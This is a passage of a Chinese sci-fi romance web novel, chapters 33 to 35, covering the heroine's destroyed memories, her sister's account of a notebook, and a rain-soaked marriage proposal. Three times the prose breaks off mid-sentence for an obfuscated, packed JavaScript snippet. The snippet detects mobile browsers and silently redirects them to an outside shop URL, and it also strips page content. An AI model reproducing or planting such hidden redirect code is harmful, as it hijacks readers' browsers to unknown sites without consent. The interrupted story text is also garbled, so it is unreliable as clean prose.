等到再见面的时候,兰司珞应该还是没什么长进吧。 元墨洇其实从来不过生日。 一开始是因为她从生下来就一个人住,没有过生日的习惯。 后来是因为不想应付那些话里话外都带着目的之人。 但是生日礼物是向来没有少过的。 大多都很贵重,元墨洇也会按照规则一一回礼。 而兰司珞送她的笔记本,跟那些礼物放在一起,便宜得与众不同,唯独心意真诚得不可思议。 因此她没有回礼,她选择收下这份心意。 …… 笔记本总有用到的那天。 元墨洇的第二个S级研究到了收尾的阶段。 然而在百忙之中听到关于机甲竞赛的只言片语,她还是想起了兰司珞。 兰司珞果然是个笨蛋。 元墨洇帮他修改了训练计划,顺手给他调试了机甲数据。 她知道兰司珞那些乱七八糟的借口下隐秘的小心思,也知道兰司珞机甲竞赛取得好成绩后必然要做点什么惊天动地的大事出来。 但她不在乎。 站在人群目光之巅对于元墨洇来说是一件稀松平常的事。 她只在乎兰司珞既然有夺得第一的实力,那就不能给她丢人。 …… 家属席去过了,奖杯收下了。 就算暂时把人丢了,她也能将人再捡回来。 至此,锚点已经完全被元墨洇自己摧毁,与兰司珞有关的记忆在她的精神世界里支离破碎,连她自己都无法重新拼合起来,其他人更不可能。 没有了锚点,乔家的计划已经可以宣告失败了。 第七天,乔斌完全失去了办法,他召集所有人到指挥室,询问还有没有任何补救的办法。 会议进行到一半,墙壁在震颤,仪表指针来回颤动,好几个机器自动打开。 乔家人乱作一团,有的去窗边看是不是元家人打过来了,有的钻进了桌子底,乔砂倒是好整以暇地找了个椅子坐下,还顺手给自己端了杯水喝。 乔斌死死盯着密室的监控,夜视功能下,元墨洇静静漂浮在黑暗中,就在他看向监控的时候,明明什么都看不见的她,却敏锐地朝他看来。 他后退一步,无处安放的手臂打掉了乔砂的水,玻璃杯掉落的脆响像是一个信号,战舰上的仪器齐齐尖叫起来。 一直盯着仪器数据反馈的研究员终于大喊起来:“是精神力,强大的精神力形成了精神风暴。天呐,我从来没见过这么高的数值,这就是……” 他的话被仪器炸开的声音打断,但在场的人已然全部明白了。 他们即将面对的是SS级的精神风暴。 按照常理来说,元墨洇应该说些什么——毕竟此刻她周围的机器只分为两种:发出警告的和失去控制的。 ——很像是什么反派出场的经典桥段。 但那是元墨洇。 她什么都没说,只是往前跨了一步,看向监控的人齐齐后退了一步。 乔斌脸色灰败地看了周围一圈,最后用手揪紧乔砂的领口,把她提到自己面前:“说,怎么回事?她为什么能脱离控制?这些仪器是怎么了?” 乔砂双脚几乎离开了地面,脸上被勒出不自然的红,冷笑道:“你们失败了,或者说,我们从一开始就假设错了。” 乔砂心里忽然有种说不出的痛快,那些元墨洇不屑于说的话,她想说给面前这些自私自利、令人恶心的人听,她想看见这些人脸上露出懊悔的神色。 虽说元墨洇不稀罕这种东西,但她渴望这一幕很多年了。 于是她忍着呼吸不畅,开口道:“我们都以为锚点是她的盾牌,千方百计除掉她的锚点,以为可以借此掌控她。 “没想到,锚点是她的剑鞘。 “现在没了剑鞘,这把剑要杀过来了。 “我们,亲手摧毁了保护我们的最后一道防线。” 乔斌还想逼问,但身边的人发出一声惊呼,像房间被抬起一般全都往离门最远的角落挤去,硬生生冲散了他和乔砂。 他也顾不上这些,很明显,元墨洇已经到了。 元墨洇甚至都没有开门,所有人都知道她站在门外,恐怖的精神风暴席卷而来,就像是海上漂泊的船只遇到海啸,一瞬间摧毁了门内所有人的精神世界。 元墨洇自己也是第一次完整地感受到这股力量。 她从出生开始,就在研究如何掌控精神力。 她知道,普罗米修斯星域也知道,整个星族联盟的高层都知道,她的出生不仅仅意味着一位超级天才的诞生,更意味着精神力的发展步伐超过了进化的速度。 她是最适合也是唯一那个人选,去研究精神力,掌握精神力,为即将到来的精神力大幅度增长的时代做准备。 这也是她年纪轻轻却拥有非凡地位的原因。 为了这个目标,多年以来,她始终将自己的精神力控制得很好,精准、且内敛。 只有少数人知道,她出生的时候,伴随了一场多么可怕的精神风暴。 乔砂也随着人群倒下,她强撑精神,只看到门被打开一道缝隙,一片白色的衣角飘到她面前,一只修长白皙的手伸到她的胸前,捻起了她的名牌。 “乔砂。” 这是她昏迷前听到的最后两个字。 醒来之后,元墨洇花了很短的时间重新掌控了自己的身体,但是…… 她心里有了一个疑问。 她为什么会喜欢兰司珞? 五岁左右的时候,元墨洇对未来就有了清晰的规划,从事业,到婚姻,她享受人生如同精密仪器一样被一点点拨动的感觉。 爱一个人从来不在她的计划之内。 但是她的思维经过自己的一番清洗之后,居然留下了一个印记,告诉她,她曾喜欢过一个叫兰司珞的人。 就像一道题。 题目和答案摆在她面前,但是中间的解题过程只写了一个“略”字。 星网的后台监控显示,兰司珞一直在查找她的信息。 既然如此,这道题总有一天会自己解开,元墨洇想,为了让解法足够完美,她有更重要的事要做。 中途发生了一个小插曲,题目自己跑来找元墨洇了。 再次见面,元墨洇知道面前的人对她来说很特殊,但她察觉不到哪里特殊。 直到她让兰司珞去做了一个例行检查,这是她一直以来的习惯。 拿到病例报告那一刻,就像是找到了解题的关键。 元墨洇忽然懂了以前的自己。 她喜欢这串数据。 33. 在故事的最初就用未来锚定了结局…… 兰司珞陷入长长的回忆中。 在他对面,元墨枢目光飘忽,也不知道在想什么。 良久之后,兰司珞终于出声:“你知道……为什么是我吗?” 要是换成兰司珞自己,就算记忆被全部打碎了,那也是无数个关于元墨洇的片段四散在他的脑海中,他随便捡起一块,都能重新爱上这个人。 可是他也清楚,无论他怎么笃定,这段往事在他心中的占比和在元墨洇心中的占比都是不同的。 在他辗转反侧的日日夜夜里,元墨洇还有她的研究、她的事业、她的家族。 既然不记得了,在那些少年时期的片段里,元墨洇到底是凭借什么,从其中准确无误地挑出了他呢? 兰司珞不抱希望地听见元墨枢说:“我知道啊。” 兰司珞:“啊?” 元墨枢轻哼一声:“有什么好‘啊’的,姐姐刚回家那几年,一直都是我陪在她身边呀。” “那……” “姐姐有个笔记本,上面有我们爸妈的名字,有我的名字,还有你的名字,这个笔记本我能看,你肯定也能看吧。” 兰司珞瞪大了双眼。 “姐姐不准你看?” 兰司珞:“没有,我……见过这个笔记本,但是没敢仔细看,确认了有我的名字就放下了。” 元墨枢:“我当初就是看到了这个笔记本,然后……” 关于元墨洇摧毁锚点一事,元家很是重视。 他们排查了元墨洇过往的所有人际关系,将可能是锚点的人一一列举出来,由精神力方向的医师拿去给元墨洇看。 对于他们给出的那份名单,元墨洇从头到尾毫无反应。就算是出现了兰司珞的名字,她的表情依然分毫未变,精神力波动值近乎于无。 兰司珞算是重点怀疑对象之一,但是元墨洇彻底删除了星网上所有的记录,在此之前,她一直将自己的人生处理得很好,因此没有人过多关注她的生活。 元家人千辛万苦查到了兰司珞,但是他们的故事写在纸上,单薄得令人怀疑这只是元墨洇工作繁重之余给自己找的一个余兴节目。 元家不可能仅凭一份没有证据的怀疑就去带走一位平民,更何况此时的兰司珞已经加入了第三军团的预备军,帝都星域不会允许普罗米修斯星域如此挑衅他们。 元家人各执一词。 元墨洇的父母始终坚信元墨洇有办法知道自己的锚点是什么,但其他人却觉得元墨洇没必要在这件事上撒谎。 元墨洇面对他们的询问始终闭口不言。 这样拖下去不是办法,最终元家人商讨出来一个折中方案,安排一个元墨洇比较亲近的人在她身边陪伴,作临时锚点之用。 在医学上没有天赋,在家族里没有话语权的元墨枢是最好的人选。 元墨枢的父母直接修改了她的志愿,将她从机甲系调整为医疗系,并告诉她,姐姐是家里的希望,而她也到了为家族奉献的时候了。 元墨枢对这些话嗤之以鼻,说到底,这一对夫妻不过是害怕元墨洇恢复过程中偶尔外泄的精神力伤到自己,所以把她推出来做替死鬼罢了。 父母走后,元墨枢和元墨洇相对而坐,相顾无言。 元墨枢出生的时候,就已经有了一个顶着天才的称号,光芒耀眼如明珠的姐姐。 她与姐姐并不亲近。 姐姐天赋卓绝,一出生就是SS级精神力,一直都在私人星球上独自居住。 元墨枢比姐姐小九岁,从她有记忆起,姐姐就总是一副冰冷淡然的样子。 而家里人嘴里永远只会赞叹姐姐有多么强大,将来会成为整个普罗米修斯星域的骄傲。 姐姐是天上的皓月,她只是皓月旁边一颗不起眼的星星。 元墨枢并不在意,她当星星也当得很快活。 只是偶尔会觉得遗憾,她从小到大,跟姐姐说的话基本都是在家里遇上之后,姐姐喊她“墨枢”,向她点头致意。元墨枢也只好拘谨地点头回应:“姐姐。” 就好像姐姐只是她的姐姐,仅此而已。 元墨枢仔细想来,像现在这样,和元墨洇坐在一起的机会,其实也屈指可数。 她还不知道应该如何开口的时候,元墨洇先说话了。 她说:“我看过你的练习录像,你在机甲上很有天赋,不要放弃。” 元墨枢愕然,她在来的路上就说服了自己认命。 她没指望过关系不亲近的姐姐向她道歉,或者解释自己的无能为力。 她都清楚的事,元墨洇只会更清楚。在家族里,无权无势的自己,难以反抗整个元家的命令,就连此时的元墨洇,也无法越过她们的父母干涉这一要求。 但她没料到元墨洇会关注她。 元墨枢打开光脑,呆呆地看着元墨洇发过来的那一连串的资料。 非常全的机甲相关资料,涵盖了从训练到维修等各方面的内容。元墨枢打开看了看,立刻意识到这些资料几乎是元墨洇所能收集到的全部,并且她还专门做了汇总。 光脑继续震动,又发送过来一个训练计划,以及机甲改造的建议。 元墨枢眨眨眼,终于忍不住开口问元墨洇:“姐姐,这些都是给我的吗?” “嗯。” “可是他们要求我以后选医疗系,不许我再碰机甲,就连学院报考的权限都给我回收了。” “他们不敢监控我家。” 元墨枢觉得冷冰冰的姐姐看起来亲切了不少,到底是亲姐妹,她试着坐到元墨洇身边,挽住她的手,像她平时挽住自己的好友一样。 元墨洇看了她一眼,没有拒绝。 元墨枢眉开眼笑:“姐姐,你是一直都在关心我吗?” “你是我妹妹,墨枢。” 元墨枢摇摇头:“别叫我墨枢了,叫我阿枢吧,姐姐,我朋友都这么喊。” 被这样称呼的时候,元墨枢似乎真的离开了那个不在乎她存在的“元”,那个明明相同却彼此生疏的“墨”,只剩下真诚又可爱的独属于她自己的“枢”。 “好,阿枢。” 和元墨洇住在一起的日子反倒比以前所有时候都自由快乐。 元墨洇家里设备完善,不需要元墨枢自己偷偷摸索,就帮她准备好了想要的一切。 随着治疗的推进,元墨洇精神力失控的情形也越来越少。 元墨枢胆子也渐渐大起来,她把目光放在元墨洇的笔记本上。 相处一年后,她也稍稍摸清了一些元墨洇的脾气。 她能接触到的东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316262|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是元墨洇允许她随便使用的,不允许她使用的东西,她根本接触不到。 元墨枢偶然在那个笔记本上看到过自己的名字,那次之后,元墨洇没有将其收起来,意味着她可以打开看一看,满足自己的好奇心。 她想知道自己在姐姐心里是什么样子的。 元墨枢打开了那个笔记本。 首先出现的是她们的父母,她草草扫过几眼,毫无兴趣地翻走了。 父母后面就是她的名字,上面有她的性格、喜好、两人关系的分析,还有她每次训练后的总结。 元墨枢第一次看到别人眼中的自己,看得津津有味。 属于她的页面看完之后,她发现这本笔记本还没看完。 怀揣着好奇心,她往后翻了一页。 这是元墨枢第一次看见兰司珞的名字。 没有人可以监控元墨洇,他们可以向她询问她是否记得自己的锚点,却不敢像对待元墨枢一样逼元墨洇说出实话。 一年之后,在所有人都自暴自弃地相信元墨洇是真的不记得锚点是谁的时候,元墨枢发现,原来元墨洇真的记得。 元墨枢没有告诉元墨洇,但是她相信元墨洇肯定早就知道了,她被送来这里之前,她们的父母嘱咐她如果有机会,可以多想一些办法去打听元墨洇的锚点到底是谁。 元墨枢嘴上答应了,心里却没答应。她想,这应该就是她现在能知道这个秘密的原因。 同时她对这个名叫“兰司珞”的人产生了极大的好奇心。 这个神秘的,让元墨洇三缄其口,让整个元家四处寻找的锚点,到底有什么过人之处? 元墨枢不敢明目张胆地查兰司珞的资料,元家监控她的搜索记录还是很容易的。 她询问元墨洇,元墨洇也只说“不记得了。” 直到有一天,她在军团的公开军事演习里偶然看到了兰司珞的名字。 那天晚上,她吃完晚饭,坐在客厅,开始看起兰司珞的比赛来。 兰司珞明明是第一次参加比赛,可他的表现却并不生疏。 看完之后,元墨枢在震撼之中回头,发现元墨洇无声无息站在她的身后。 光屏上,兰司珞的比赛已经结束,他按照规定行了礼,消失虚拟对战的界面中。 元墨洇也转过身,往书房走去。 元墨枢看着她的背影,忍不住问道:“姐姐,为什么是他呢?” 既然大部分记忆都不在了,那为什么元墨洇能这么肯定是兰司珞呢? 元墨枢看着面前的兰司珞。 他的相貌和当初第一次在光屏里看见时一般无二。 初见时还稍显青涩的战斗技巧,如今也早已变为了令人啧啧称奇的三连冠。 她也从一开始的怀疑,变成了现在的崇拜。 而兰司珞一脸紧张,在等她说出那个答案。 元墨枢耳边仿佛响起元墨洇的声音,一贯的冰冷而坚定。 “她说,因为你们交换过未来。” 话音刚落,元墨枢就看到兰司珞再也忍不住,一头冲进雨里。 她这次没有拦住兰司珞,也无法再拦住他,她伸了个懒腰,决定等这两人结婚的时候,找他们俩敲诈一个私人星球当做感谢费,星球她都已经挑好了。 34. 谁能凭爱意要富士山私有 兰司珞知道自己其实不大聪明。 他可以用实力击碎那些流言蜚语,可以用努力追赶自己想要的东西。 唯独与元墨洇相关的事情上,他既相信自己是最特别的人,又惴惴不安于自己是否真的得到过元墨洇的爱。 毕竟元墨洇太遥远,太孤傲。 她的垂青,到底是绵密坚实的蛋糕胚,还是花团锦簇的奶油,亦或是用于装饰的纸制插牌。 没有人能说清。 汽车行驶在暴雨中,路灯的轮廓像无数个不同形状的月亮朦胧散去。 像兰司珞曾经在许多个夜里虔诚询问过的那一个个月亮,它们总会在天明来临之际神秘地离开,不留任何答案。 徒留兰司珞的问题消散在夜空里。 他问:“你知道她在哪里吗?” 他问:“她还记得我吗?” 他问:“你能不能帮我告诉她?我……我还爱她。” 不知从那一日起,他也习惯了这样满含问题,就着月光入眠。 而月亮最终还是听见了他的声音,慈悲地给予了他回应。 直到这时候,兰司珞才知道。 原来最简单的路和最复杂的路竟然是同一条路。 原来最聪明的人和最傻的人,一直都有一颗同样的心。无论它是简单纯粹,还是神秘莫测。 兰司珞的手将车门关紧,在黑夜中紧握成拳。 原来……他真的曾经握住过月光。 青囊诊所在暴雨中亮起一盏灯。 这里的灯,兰司珞偷偷来看过好多次。 他在窗外想象元墨洇低着头写字,头发从颈侧垂落到手臂上的样子。想象元墨洇拿着一柄手术刀,熟练地分解外星生物材料的样子。想象工作的闲暇,元墨洇点开光屏,逐字逐句看自己发送的那些信息,给与一点点回应的样子。 他伸手想要去抓住那缕头发,却只是触摸到了冰冷潮湿的机械门。 门的声音一如既往不带任何感情:[识别成功,请进。] 花园开启了落雨防护,透明的穹顶笼罩在整栋房子上空,闪电和雨点在头顶画出一圈圈的图案。 兰司珞一路走来,被暴雨浸湿的衣服顺便帮路边的花挨个都浇了点水。 在那些千奇百怪的植物们不满地警报声中,他叩响了元墨洇的房间门。 元墨洇打开门,兰司珞习惯性地向她露出一个充满阳光味道的笑容,连带得身上的雨水四溅开来,珍珠般散落在她的房门口。 她面色不变,倒是兰司珞自己停住了脚。 闪电的劈过的刹那,积水里照出兰司珞狼狈的影子,雨水从他的头顶一路滴落到地上,汇成弯弯曲曲的小溪,朝着元墨洇的脚尖黏过去。 元墨洇垂首看了片刻那些滴落下来的水珠:“进来吧。” 兰司珞往门内跨了一步,就站在门口不动了。 立刻有机器人移动到他面前,打开烘干模式同时烘干兰司珞和地板。 兰司珞不由得又收回了那只脚。 直到此刻兰司珞才发现,现在的场景和他无数次设想过的又不一样。 没有万众瞩目的礼炮和烟花,没有意气风发的冠军,没有精心策划的漂亮场地。 只有他自己一身淋漓地站在门外,一无所有。 但他相对于元墨洇,本来就一无所有。 想到这里,他心底又生出几分勇气。 “墨……元墨洇女士,我有些话想对你说。” 元墨洇伸手调亮灯光,兰司珞那一头浸满水的湿发,得以在没有光泽剂的情况下反射出微弱的金光。 他站在门外,门内之人朝他看来。 汤燧星的月亮因受伤而黯淡,兰司珞的月亮在这个小小的院落升起。 兰司珞忽然冷静下来。 他眉心的美人痣严肃地挂在额头,像一个沉甸甸的太阳。 而他炽热的蓝色眼眸明亮地迎上元墨洇的目光,像漆黑的夜里月亮反射出太阳的光。 他声音低沉,混杂着雷声和雨声,好似一曲独一无二的虔诚的乐章:“从我失去你的消息,一共过了十年。” “第一年,我顺利入学了帝都星高级学院,拿到了机甲系第一名,成为第三军团预备军的成员。” 心脏在剧烈跳动。 “第二年,我通过了第三军团的特招测试,提前转正为正式军团成员。这一年的预备军里,三个评级为S的学生中,他们都是四年级生,我是唯一一个二年级生。” 手背将脸上滚落的水珠擦成蜿蜒的痕迹。 “第三年,我卡着最后一天完成了第20个D级任务,由预备役转为正式军士。” 雨水顺着金发从头顶滴下,沿着指尖落到地上,发出“滴答”的声响。 “第四年,我在帝都星高级学院毕业典礼上获得优秀毕业生称号,同时正式被第三军团授予军衔,从士兵成为一名军官。” 手心未曾愈合的伤撕裂开来。 “第五年,因为全年无休加上战绩远远超过同期,我得到了顾元帅的接见。他开始调动资源培养我,还亲自给我指定了副官。” 血水混着雨水滑落。 “第六年,我累计完成了100个D级任务,50个C级任务,10个B级任务,获封上校。历史上获得上校头衔的军官之中,比我年轻的只有三人。” 肩头勋章摇晃,发出清脆的声音。 “第七年,我第一次在公开军事演习中获得单人组第一名,在同龄人里,我终于成为了最优秀的。在此之后,我蝉联了三年第一,我的机甲手办卖出了历史最高销量。” 光脑投射出光屏在身体两侧,所有的荣誉、财富毫无保留列举其上。 “第八年,我连续完成两个A级任务,刷新了有史以来最快完成两个A级任务的记录。” 男人伸出一直紧握成拳的右手。 “第九年,我终于赚到了足够的钱,买了一个私人星球。不算很大,但是上面有房子,有月亮,有花园,我还给你建了个实验室,现在还有了猫和温泉。” 又将手缩回去,在外套上蹭掉上面的脏污,顺带抹了把自己的脸。 “第十年,我成为了星族联盟最年轻的少将,这不是我那一天最开心的事。我最开心的,是那天终于查到了你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318197|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息。” 重新把自己呈现给面前的人。 “这是我的十年,也是我目前所拥有的一切。我只有这些东西,元墨洇,我可以跟你结婚吗?” 膝盖没入泥水中,掌心摊开,玉石做成的圆环上,钻石早有预谋地被切割成月牙的形状。 也许是雨水太凉,竟然让月光都有了温度。 元墨洇忽然笑了。 她笑起来像甜筒上液化的水珠,像初春时冰川上顺流而下的花瓣。 像兰司珞最爱吃的草莓冰淇淋。 她的声音凉凉的,兰司珞却从其中尝到一丝丝甜味:“你还是喜欢送这些东西,我收下了。” 恍惚间,兰司珞好像回到了十年前那个赛场。 那时候的他热烈而张扬,只想不顾一切地将自己所能拿到的最大的荣誉捧到喜欢的少女面前,让所有人一起见证他的心意。 头顶的闪电为他奏响礼花,雨水滴答为他欢呼雀跃,屋里的热气扑面而来,像是在邀请他走入梦幻般的赛场。 而他手握钻戒,一跃而下,飞过太阳,飞过流星,飞过漫长孤独的梦境,在星空的见证中,扑入月亮冰冷的怀抱里。 月亮伸手接住了他,无论他贫穷还是富有,身上披着荣誉还是雨水。 从始至终,一如当年。 半夜,元墨洇已经睡去,兰司珞趴在枕头上看她。 元墨洇冷淡的面容镶嵌在柔软的床铺里,轻柔平缓的呼吸声在寂静的夜里清晰可闻。 他们之间没有书桌,没有笔,没有治疗舱。就像月亮剥开了一层冰冷坚固的外壳,倾泻了一点柔软的月光在兰司珞身上。 兰司珞觉得自己沉甸甸的心一下子有了着落。 光脑上闪烁着消息提示的微光,兰司珞偷偷摸摸把光调到最暗,投射出一块小小的光屏。 是他赶来青囊诊所的途中,元墨枢发来的消息。 元墨枢:[姐夫你到了吗?我姐姐怎么样了?] 元墨枢:[治疗有一点副作用,你记得叮嘱她好好休息。] 兰司珞看了一眼熟睡的元墨洇,往床边挪了挪,点击输入框开始打字。 兰司珞:[我求婚成功了,以后我就是你的亲姐夫了。] 元墨枢还没休息,她的名字立刻变为了“对方正在输入中”。 元墨枢:[?] 元墨枢:[等等,这是哪一集?] 元墨枢:[虽然我是改口叫你姐夫了,但是你们不该先重新谈恋爱吗?] 兰司珞:[?] 兰司珞:[我十年前就跟墨洇表白过了,中间只是分开,又没有人提分手,现在我们已经交往了十年,当然可以结婚啦。] 元墨枢:[?] 元墨枢:[是这么算的吗?] 元墨枢:[话说,我姐姐她知道这件事吗?] 兰司珞:[她睡了,明天我帮你问问。] 元墨枢:[?] 元墨枢躺在床上,拿着光脑,看着这个充满“?”的夜晚,怀疑人生。 所以,她认识的元墨洇,跟兰司珞认识的元墨洇,真的不是同一个人! 35. 兰司珞最幸福的一天 早上5:00,兰司珞睁开眼。 他下意识要从床上弹起,眼角余光瞧见一抹黑色,忽然顿住。 他把按在床上的手轻轻收回,蹑手蹑脚地踮着脚尖向浴室走去。 浴室的门在房间的角落里,旁边是一个置物架,兰司珞路过的时候顺便看了两眼。 他看过的那个纯色笔记本就躺在那里,没忍住好奇心,他拿起来翻开。 上次翻看时因为心虚,扉页被跳过了。这次认认真真地从最前面开始翻起,一掀开封面就看见“兰司珞喜欢吃草莓冰淇淋。” 他手一抖,笔记本被他甩了出去,刚好落在架子最底层的一块锦旗上。 兰司珞回头见元墨洇没有动静,长舒一口气,拿走笔记本放回架子上。 笔记本带动锦旗掉了下来,他眼疾手快接住,手心碰到了一点软软的东西。 是一团黄色的绒毛。 兰司珞又回头看了一眼元墨洇,这才把那团绒毛从盒子里揪出来。 一只黄色的毛绒小狗,脚被兰司珞抓在手里,倒着出现在他面前。 他随手放下其他东西,两只手提起小狗的耳朵,把它拎了起来。 毛绒小狗有一双弯弯的眼睛和一张弯弯的嘴,兰司珞与它对视了半晌,拎着它进了浴室。 他对着镜子,把小狗提到自己脸旁边,然后笑了一下。 镜子中出现了一对一模一样的笑容。 兰司珞把毛绒小狗举到面前,小狗还是冲他傻笑着,什么都不知道的样子。 鬼使神差地,他用手薅开小狗前额长长的绒毛。 白色的细线在小狗前额的正中央缝了一个小点,他摸了摸,非常熟悉的触感,每位医师紧急缝合伤口之后都会留下这样的触感。 他在上面摸了又摸,把小狗抱进了怀里。 兰司珞洗漱完后,抱着毛绒小狗走出浴室,发现元墨洇已经醒了,坐在床上,手里拿着一个不断“叮叮咚咚”的光脑。 他想起昨晚元墨枢的嘱咐,快步走了过去,蹲在床前:“现在挺早的,再休息一会吧,有什么事我可以……” 他眼睛看向光脑投射出的光屏,发现这竟然是他自己的光脑。 他立刻扑了过去:“对不起我忘了我每天早上5点自动设置了免打扰模式退出是不是吵到你了我不是故意忘记的我——” 元墨洇揪起那只毛绒小狗盖在他脸上,堵住了他后面的话。 兰司珞慢慢把毛绒小狗从脸上摘下来,元墨洇已经关掉了他的光脑,把手环向他递了过来。 他低着头,双手接过,把小狗夹在下巴和前胸中间,打开光脑准备更改一下设置,却发现整个界面焕然一新。 往日那些星网上的垃圾消息、广告邮件,还有帝都星域许多家族发来的视频通讯邀请,统统不见了踪影,界面干净得像断网时候的样子。 界面边缘有个绿色的圆球,他点击了一下,圆球移动到屏幕中央,扩散成一块悬浮界面。 [光脑清理助手v10.3.3] 自动屏蔽无效信息:99+ 自动回复不重要消息:99+ 待处理事件:9(点击查阅详情) …… 开发者:元墨洇 使用人数:2(点击查阅详情) 毛绒小狗掉到兰司珞腿上。 他看了看这个软件,又看了看元墨洇:“这是只给我们两个人用的吗?” “嗯。” 他小心翼翼地把这个情侣助手重新缩成圆球,给它找了自己最喜欢的左上角待着,然后更改了免打扰模式的开关时间,这才将光屏熄灭,将光脑戴回手上。 元墨洇已经站在了浴室门口,正在看被兰司珞弄乱的置物架。 兰司珞见状高喊一声:“墨洇……” 元墨洇转过头来。 兰司珞不知道该说什么转移她的注意力,着急地抓了两把怀里的绒毛,忽然眼睛一亮。 他把毛绒小狗举到下巴下,眼睛笑成两道弯弯的弧度:“像不像?” “像。”元墨洇说完就进了浴室。 兰司珞立刻冲刺过去,把置物架按照最初的样子重新整理好。 趁元墨洇去洗漱,兰司珞打开她的烹饪装置,又去保温装置里找到了那颗他送给她的菲尼克斯蛋,再搭配了几种食材做了两份早餐。 他看了看外面的花园,暴雨过后,天空绿得发亮,于是他走到花园里,准备挑一个好地方用餐。 刚走几步,就看见乔砂正在皱眉按动一株植物旁的机器,机器还在不停地发出声音:“检测到不干净水源,警告,轻度污染……” 兰司珞的良心占了上风,他走过去愧疚地说:“对不起,我昨天晚上来的时候,一路上撒了些雨水在这些花花草草上面。” 乔砂“哦”了一声,没有抬头看他,继续操作面前的仪器:“雨水的话,应该是用这套方案……” 她处理完,发现兰司珞还站在旁边,冲他点了点头。 兰司珞轻声询问:“那个……水……严重吗?” 乔砂摇头:“一点点,我已经全部处理好了。” 兰司珞看着她淡然的模样,脑海中却想起那份“自述”里的嘲讽和不甘。 乔砂疑惑地看他一眼:“还有什么事吗?是老师有什么事嘱咐我吗?” “没有。”兰司珞想了想,还是没忍住好奇心,问道,“你是怎么变成墨洇的学生的?” 乔砂脚步顿住:“你知道了?” 兰司珞:“我不是故意看你的隐私的,我就是……” “无所谓,写出来就是给人看的。”乔砂打断他,“我在衡镜司星域坐牢的时候……” “你终于愿意讲你坐牢的故事了!”沈钧不知从哪里跳出来,“我也要听!我好奇很久了!” 乔砂:“……” 她深吸一口气,正准备接着说,沈钧打断她:“等等。” 她走到花园的另一头挑挑拣拣,用剪刀“咔嚓”地操作了两下,带着两朵球形向日葵来到兰司珞身边,顺手分了兰司珞一朵,扯着两人坐到旁边的石桌旁。 她手里变出几个果盘:“来来来,说吧,我们边吃边聊。” 乔砂:“……” “老师果然很重视你,还专门去牢里探望你呀。”沈钧吐着嘴里的瓜子壳,羡慕地说。 乔砂面无表情:“你现在想办法犯点事,也去坐两年牢,相信老师也会去看你的。” 沈钧:“呸呸呸。” 兰司珞好奇地问:“墨洇都说了什么?” 乔砂:“老师给了我一颗私人星球的地址,让我出来后直接去那里找她。我说我不想当研究员,我想当她的学生,她同意了。就这样。” 沈钧:“没有什么狗血打脸吗?比如看守人员一开始很看不起你,对你冷嘲热讽……” 兰司珞顺口接了下去:“然后墨洇从天而降,说‘这是我罩着的人。’看守立刻吓得跪地求饶……” 沈钧顿感遇到了知己:“对对对,你也在追那个《重生之我是天市垣公主》吗?然后乔砂就对……老师!” 兰司珞疑惑:“墨洇出场的时候需要这么激动吗?” 沈钧眼皮抽搐,示意他往后看。 兰司珞转过头,元墨洇面无表情站在他身后。 他心虚地回过头,乔砂已经站在了一株植物前,正聚精会神地摆弄旁边的仪器。沈钧将桌面一扫而空,衣角快速地消失在拐角处。 兰司珞看着手上刚剥好的瓜子:“……” 他把手伸到元墨洇眼前:“你要不要尝尝?” 趁元墨洇接过瓜子,他说:“我去看看早餐做好没有。”也一溜烟跑了。 研究所放假一天,军团那边,何晞罕见地没有一大早用一堆事务骚扰兰司珞。 吃过早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323139|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭,元墨洇照例处理各种事务,兰司珞就缠在她身边。 中午终于等到元墨洇休息,他立刻凑上前:“我想了一上午,终于想到了。” 元墨洇看了他一眼。 兰司珞抱着她的胳膊,右手点出光屏,在上面写了个字:“我们的女儿就叫‘苓’,怎么样?” 元墨洇:“明。” 兰司珞失望地收回手:“你不喜欢这个字吗?” 元墨洇也伸手在他的光屏写字:“‘澄以墨明,清予风气’,我们的女儿是‘明’字辈。” 兰司珞眉开眼笑:“那就叫元明苓,真好听。” 他饱含期待地看向元墨洇。 元墨洇无情地击碎了他的幻想:“近十年生女儿的名额已经全部预订满了。” 兰司珞打开光脑,星网的新闻板块立刻给他推送了一条《生女名额人满为患,生男名额无人问津,是否是联盟男性教育亟需加强的预兆?》 兰司珞忿忿不平地关闭了页面:“算了,反正100岁之前不要孩子都不会加税,等再过几十年,我们的生育名额就能排在前面了。对了,我们今年结婚的话,能有几个名额来着?” “两个。” 兰司珞充满了斗志:“看来这几百年发展很稳定,不用追出生率。你看我的,我一定会抢到两个生女儿的名额!” 下午元墨洇被唐曼叫上开远程会议,兰司珞一个人待在房间里看最近热播的偶像剧,就是沈钧提到的那部《重生之我是天市垣公主》。 